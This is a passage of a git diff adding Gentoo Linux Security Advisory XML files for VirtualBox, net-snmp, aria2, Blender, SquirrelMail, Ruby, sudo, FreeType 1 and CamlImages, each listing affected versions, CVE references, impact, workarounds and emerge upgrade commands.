+    statically linked against a vulnerable version of the c-client library
+    when the imap or kolab USE flag is enabled (GLSA 200911-03), users
+    should upgrade net-libs/c-client beforehand:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/c-client-2007e&quot;
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-5.2.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5498">CVE-2008-5498</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5514">CVE-2008-5514</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5557">CVE-2008-5557</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5624">CVE-2008-5624</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5625">CVE-2008-5625</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5658">CVE-2008-5658</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5814">CVE-2008-5814</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5844">CVE-2008-5844</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7002">CVE-2008-7002</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0754">CVE-2009-0754</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1271">CVE-2009-1271</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1272">CVE-2009-1272</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2626">CVE-2009-2626</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2687">CVE-2009-2687</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3291">CVE-2009-3291</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3292">CVE-2009-3292</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3293">CVE-2009-3293</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3546">CVE-2009-3546</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3557">CVE-2009-3557</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3558">CVE-2009-3558</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4017">CVE-2009-4017</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4142">CVE-2009-4142</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4143">CVE-2009-4143</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200911-03.xml">GLSA 200911-03</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 06 Nov 2009 10:26:06 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 26 Nov 2009 09:22:21 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-04.xml b/xml/htdocs/security/en/glsa/glsa-201001-04.xml
new file mode 100644
index 00000000..4a2f22b1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-04.xml
@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-04">
+  <title>VirtualBox: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in VirtualBox were found, the worst of which
+    allowing for privilege escalation.
+  </synopsis>
+  <product type="ebuild">virtualbox-bin virtualbox-ose virtualbox-guest-additions virtualbox-ose-additions</product>
+  <announced>January 13, 2010</announced>
+  <revised>January 13, 2010: 01</revised>
+  <bug>288836</bug>
+  <bug>294678</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-emulation/virtualbox-bin" auto="yes" arch="*">
+      <unaffected range="ge">3.0.12</unaffected>
+      <vulnerable range="lt">3.0.12</vulnerable>
+    </package>
+    <package name="app-emulation/virtualbox-ose" auto="yes" arch="*">
+      <unaffected range="ge">3.0.12</unaffected>
+      <vulnerable range="lt">3.0.12</vulnerable>
+    </package>
+    <package name="app-emulation/virtualbox-guest-additions" auto="yes" arch="*">
+      <unaffected range="ge">3.0.12</unaffected>
+      <vulnerable range="lt">3.0.12</vulnerable>
+    </package>
+    <package name="app-emulation/virtualbox-ose-additions" auto="yes" arch="*">
+      <unaffected range="ge">3.0.12</unaffected>
+      <vulnerable range="lt">3.0.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The VirtualBox family provides powerful x86 virtualization products.
+    </p>
+  </background>
+  <description>
+    <p>
+    Thomas Biege of SUSE discovered multiple vulnerabilities:
+    </p>
+    <ul><li>A shell metacharacter injection in popen() (CVE-2009-3692) and
+    a possible buffer overflow in strncpy() in the VBoxNetAdpCtl
+    configuration tool.</li>
+    <li>An unspecified vulnerability in VirtualBox
+    Guest Additions (CVE-2009-3940).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A local, unprivileged attacker with the permission to run VirtualBox
+    could gain root privileges. A guest OS local user could cause a Denial
+    of Service (memory consumption) on the guest OS via unknown vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of the binary version of VirtualBox should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/virtualbox-bin-3.0.12&quot;</code>
+    <p>
+    All users of the Open Source version of VirtualBox should upgrade to
+    the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/virtualbox-ose-3.0.12&quot;</code>
+    <p>
+    All users of the binary VirtualBox Guest Additions should upgrade to
+    the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/virtualbox-guest-additions-3.0.12&quot;</code>
+    <p>
+    All users of the Open Source VirtualBox Guest Additions should upgrade
+    to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/virtualbox-ose-additions-3.0.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3692">CVE-2009-3692</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3940">CVE-2009-3940</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 09 Nov 2009 23:19:24 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Jan 2010 20:50:17 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jan 2010 19:41:20 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-05.xml b/xml/htdocs/security/en/glsa/glsa-201001-05.xml
new file mode 100644
index 00000000..51bfb5f0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-05.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-05">
+  <title>net-snmp: Authorization bypass</title>
+  <synopsis>
+    A remote attacker can bypass the tcp-wrappers client authorization in
+    net-snmp.
+  </synopsis>
+  <product type="ebuild">net-snmp</product>
+  <announced>January 13, 2010</announced>
+  <revised>January 13, 2010: 01</revised>
+  <bug>250429</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/net-snmp" auto="yes" arch="*">
+      <unaffected range="ge">5.4.2.1-r1</unaffected>
+      <vulnerable range="lt">5.4.2.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    net-snmp bundles software for generating and retrieving SNMP data.
+    </p>
+  </background>
+  <description>
+    <p>
+    The netsnmp_udp_fmtaddr() function (snmplib/snmpUDPDomain.c), when
+    using TCP wrappers for client authorization, does not properly parse
+    hosts.allow rules.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote, unauthenticated attacker could bypass the ACL filtering,
+    possibly resulting in the execution of arbitrary SNMP queries.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    If possible, protect net-snmp with custom iptables rules:
+    </p>
+    <code>
+    iptables -s [client] -d [host] -p udp --dport 161 -j ACCEPT
+    iptables -s 0.0.0.0/0 -d [host] -p udp --dport 161 -j DROP</code>
+  </workaround>
+  <resolution>
+    <p>
+    All net-snmp users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/net-snmp-5.4.2.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123">CVE-2008-6123</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 28 Sep 2009 18:16:15 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Jan 2010 21:17:32 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jan 2010 19:40:57 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-06.xml b/xml/htdocs/security/en/glsa/glsa-201001-06.xml
new file mode 100644
index 00000000..fc4830e4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-06.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-06">
+  <title>aria2: Multiple vulnerabilities</title>
+  <synopsis>
+    A buffer overflow and a format string vulnerability in aria2 allow remote
+    attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">aria2</product>
+  <announced>January 13, 2010</announced>
+  <revised>January 13, 2010: 01</revised>
+  <bug>288291</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/aria2" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3</unaffected>
+      <vulnerable range="lt">1.6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    aria2 is a download utility with resuming and segmented downloading
+    with HTTP/HTTPS/FTP/BitTorrent support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tatsuhiro Tsujikawa reported a buffer overflow in
+    DHTRoutingTableDeserializer.cc (CVE-2009-3575) and a format string
+    vulnerability in the AbstractCommand::onAbort() function in
+    src/AbstractCommand.cc (CVE-2009-3617).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote, unauthenticated attacker could possibly execute arbitrary
+    code with the privileges of the user running the application or cause a
+    Denial of Service (application crash).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not use DHT (CVE-2009-3575) and disable logging (CVE-2009-3617).
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All aria2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/aria2-1.6.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3575">CVE-2009-3575</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3617">CVE-2009-3617</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 06 Nov 2009 09:27:41 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Jan 2010 21:05:40 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jan 2010 19:40:46 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-07.xml b/xml/htdocs/security/en/glsa/glsa-201001-07.xml
new file mode 100644
index 00000000..071aa2c1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-07.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-07">
+  <title>Blender: Untrusted search path</title>
+  <synopsis>
+    An untrusted search path vulnerability in Blender might result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">blender</product>
+  <announced>January 13, 2010</announced>
+  <revised>January 13, 2010: 01</revised>
+  <bug>245310</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-gfx/blender" auto="yes" arch="*">
+      <unaffected range="ge">2.48a-r3</unaffected>
+      <vulnerable range="lt">2.48a-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Blender is a 3D Creation/Animation/Publishing System.
+    </p>
+  </background>
+  <description>
+    <p>
+    Steffen Joeris reported that Blender's BPY_interface calls
+    PySys_SetArgv() in such a way that Python prepends sys.path with an
+    empty string.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run "blender" from a directory
+    containing a specially crafted Python module, resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Blender users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/blender-2.48a-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4863">CVE-2008-4863</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 30 Nov 2008 19:04:32 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 05 Jan 2010 21:25:09 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jan 2010 19:40:27 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-08.xml b/xml/htdocs/security/en/glsa/glsa-201001-08.xml
new file mode 100644
index 00000000..babfc096
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-08.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-08">
+  <title>SquirrelMail: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in SquirrelMail of which the worst
+    results in remote code execution.
+  </synopsis>
+  <product type="ebuild">squirrelmail</product>
+  <announced>January 13, 2010</announced>
+  <revised>January 13, 2010: 01</revised>
+  <bug>269567</bug>
+  <bug>270671</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.19</unaffected>
+      <vulnerable range="lt">1.4.19</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a standards-based webmail package written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in SquirrelMail:
+    </p>
+    <ul><li>Niels
+    Teusink reported multiple input sanitation flaws in certain encrypted
+    strings in e-mail headers, related to contrib/decrypt_headers.php,
+    PHP_SELF and the query string (aka QUERY_STRING) (CVE-2009-1578).
+    </li>
+    <li>Niels Teusink also reported that the map_yp_alias() function
+    in functions/imap_general.php does not filter shell metacharacters in a
+    username and that the original patch was incomplete (CVE-2009-1381,
+    CVE-2009-1579).
+    </li>
+    <li>Tomas Hoger discovered an unspecified session fixation
+    vulnerability (CVE-2009-1580).
+    </li>
+    <li>Luc Beurton reported that functions/mime.php does not protect
+    the application's content from Cascading Style Sheets (CSS) positioning
+    in HTML e-mail messages (CVE-2009-1581).
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    The vulnerabilities allow remote attackers to execute arbitrary code
+    with the privileges of the user running the web server, to hijack web
+    sessions via a crafted cookie, to spoof the user interface and to
+    conduct Cross-Site Scripting and phishing attacks, via a specially
+    crafted message.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/squirrelmail-1.4.19&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1381">CVE-2009-1381</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1578">CVE-2009-1578</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1579">CVE-2009-1579</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1580">CVE-2009-1580</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1581">CVE-2009-1581</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 05 Jan 2010 21:49:10 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 13 Jan 2010 21:54:28 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-09.xml b/xml/htdocs/security/en/glsa/glsa-201001-09.xml
new file mode 100644
index 00000000..db1255a6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-09.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-09">
+  <title>Ruby: Terminal Control Character Injection</title>
+  <synopsis>
+    An input sanitation flaw in the WEBrick HTTP server included in Ruby might
+    allow remote attackers to inject arbitrary control characters into terminal
+    sessions.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>January 14, 2010</announced>
+  <revised>January 14, 2010: 01</revised>
+  <bug>300468</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.7_p249</unaffected>
+      <unaffected range="rge">1.8.6_p388</unaffected>
+      <vulnerable range="lt">1.8.7_p249</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an interpreted scripting language for quick and easy
+    object-oriented programming. It comes bundled with a HTTP server
+    ("WEBrick").
+    </p>
+  </background>
+  <description>
+    <p>
+    Giovanni Pellerano, Alessandro Tanasi and Francesco Ongaro reported
+    that WEBrick does not filter terminal control characters, for instance
+    when handling HTTP logs.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted HTTP request to a
+    WEBrick server to inject arbitrary terminal control characters,
+    possibly resulting in the execution of arbitrary commands, data loss,
+    or other unspecified impact. This could also be used to facilitate
+    other attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby 1.8.7 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.7_p249&quot;</code>
+    <p>
+    All Ruby 1.8.6 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.6_p388&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4492">CVE-2009-4492</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 13 Jan 2010 19:56:42 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 13 Jan 2010 20:40:12 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 13 Jan 2010 20:40:18 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201003-01.xml b/xml/htdocs/security/en/glsa/glsa-201003-01.xml
new file mode 100644
index 00000000..8cdf7b8a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201003-01.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201003-01">
+  <title>sudo: Privilege escalation</title>
+  <synopsis>
+    Two vulnerabilities in sudo might allow local users to escalate privileges
+    and execute arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">sudo</product>
+  <announced>March 03, 2010</announced>
+  <revised>March 03, 2010: 01</revised>
+  <bug>306865</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/sudo" auto="yes" arch="*">
+      <unaffected range="ge">1.7.2_p4</unaffected>
+      <vulnerable range="lt">1.7.2_p4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sudo allows a system administrator to give users the ability to run
+    commands as other users.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in sudo:
+    </p>
+    <ul>
+    <li>Glenn Waller and neonsignal reported that sudo does not properly
+    handle access control of the "sudoedit" pseudo-command
+    (CVE-2010-0426).</li>
+    <li>Harald Koenig reported that sudo does not
+    properly set supplementary groups when using the "runas_default" option
+    (CVE-2010-0427).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker with privileges to use "sudoedit" or the privilege to
+    execute commands with the "runas_default" setting enabled could
+    leverage these vulnerabilities to execute arbitrary code with elevated
+    privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    CVE-2010-0426: Revoke all "sudoedit" privileges, or use the full path
+    to sudoedit. CVE-2010-0427: Remove all occurrences of the
+    "runas_default" setting.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sudo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/sudo-1.7.2_p4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0426">CVE-2010-0426</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0427">CVE-2010-0427</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 02 Mar 2010 19:53:26 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 02 Mar 2010 20:22:07 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 03 Mar 2010 16:28:38 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-01.xml b/xml/htdocs/security/en/glsa/glsa-201006-01.xml
new file mode 100644
index 00000000..da2a6fbc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-01.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-01">
+  <title>FreeType 1: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in FreeType might result in the remote execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">freetype</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>271234</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/freetype" auto="yes" arch="*">
+      <unaffected range="ge">1.4_pre20080316-r2</unaffected>
+      <vulnerable range="lt">1.4_pre20080316-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeType is a True Type Font rendering library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple issues found in FreeType 2 were also discovered in FreeType 1.
+    For details on these issues, please review the Gentoo Linux Security
+    Advisories and CVE identifiers referenced below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted TTF
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running FreeType.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeType 1 users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/freetype-1.4_pre20080316-r2&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since May 27, 2009. It is likely that your system is already
+    no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1861">CVE-2006-1861</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2754">CVE-2007-2754</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200607-02.xml">GLSA 200607-02</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-22.xml">GLSA 200705-22</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 01 Jun 2009 22:26:35 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 30 May 2010 10:59:47 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 May 2010 15:32:56 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-02.xml b/xml/htdocs/security/en/glsa/glsa-201006-02.xml
new file mode 100644
index 00000000..9ddb3e23
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-02.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-02">
+  <title>CamlImages: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflows in CamlImages might result in the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">camlimages</product>
+  <announced>June 01, 2010</announced>
+  <revised>June 01, 2010: 01</revised>
+  <bug>276235</bug>
+  <bug>290222</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-ml/camlimages" auto="yes" arch="*">
+      <unaffected range="ge">3.0.2</unaffected>
+      <vulnerable range="lt">3.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CamlImages is an image processing library for Objective Caml.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tielei Wang reported multiple integer overflows, possibly leading to
+    heap-based buffer overflows in the (1) read_png_file() and
+    read_png_file_as_rgb24() functions, when processing a PNG image
+    (CVE-2009-2295) and (2) gifread.c and jpegread.c files when processing
+    GIF or JPEG images (CVE-2009-2660).
+    </p>
+    <p>
+    Other integer overflows were also found in tiffread.c (CVE-2009-3296).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted,
+    overly large PNG, GIF, TIFF, or JPEG image using an application that
+    uses the CamlImages library, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CamlImages users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose =dev-ml/camlimages-3.0.2</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2295">CVE-2009-2295</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2660">CVE-2009-2660</uri>
